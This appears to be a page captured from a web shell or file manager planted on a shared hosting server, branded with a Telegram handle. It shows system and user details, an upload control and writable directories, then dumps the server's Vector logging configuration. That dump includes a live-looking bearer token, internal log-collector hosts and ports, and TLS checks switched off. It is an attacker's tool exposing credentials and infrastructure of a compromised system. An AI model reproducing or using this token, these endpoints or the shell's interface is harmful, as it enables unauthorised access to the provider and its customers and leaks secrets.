https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /etc/vector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //etc/vector/vector.yaml
sources:
  syslog_auth:
    type: socket
    mode: udp
    address: 0.0.0.0:4100
    decoding:
      codec: syslog
  apache_log:
    type: socket
    path: /var/lib/vector/vector-apache.sock
    socket_file_mode: 0o755
    framing:
      method: "newline_delimited"
    mode: unix_datagram
    decoding:
      codec: bytes
  int_metrics:
    type: internal_metrics
  apache_error_log:
    type: socket
    path: /var/lib/vector/apache-error-log.sock
    socket_file_mode: 0o755
    framing:
      method: "newline_delimited"
    mode: unix_datagram
    decoding:
      codec: bytes
transforms:
  apache_remap:
    type: remap
    inputs: ['apache_log']
    source: |-
      .machine = "${HOSTNAME}"
  apache_error_log_remap:
    type: remap
    inputs: ['apache_error_log']
    drop_on_abort: true
    source: |-
      .machine = "${HOSTNAME}"
      if match!(.message, r'.*mod_fcgid\: stderr\:.*') {
        if ! match!(.message, r'.*PHP (Fatal|Warning).*') {
          abort
        }
      }
sinks:
  int_metrics_export:
    type: "prometheus_exporter"
    address: 0.0.0.0:9598
    auth:
      token: aazf3rta4wbyqjx8TCK
      strategy: bearer
    inputs:
      - int_metrics
  vector_apache_logs:
    type: vector
    inputs:
      - apache_remap
    address: vector-logs.dream.io:9002
    tls:
      enabled: true
      verify_certificate: false
      verify_hostname: false
    healthcheck:
      enabled: false
    buffer:
      when_full: drop_newest
      max_events: 500000
  vector_auth_logs:
    type: vector
    inputs:
      - syslog_auth
    address: vector-logs.dream.io:9003
    tls:
      enabled: true
      verify_certificate: false
      verify_hostname: false
    healthcheck:
      enabled: false
    buffer:
      when_full: drop_newest
      max_events: 50000
  vector_apache_error_logs:
    type: vector
    inputs:
      - apache_error_log_remap
    address: vector-logs.dream.io:9006
    tls:
      enabled: true
      verify_certificate: false
      verify_hostname: false
    healthcheck:
      enabled: false
    buffer:
      when_full: drop_newest
      max_events: 50000

https://t.me/RX1948 - 2025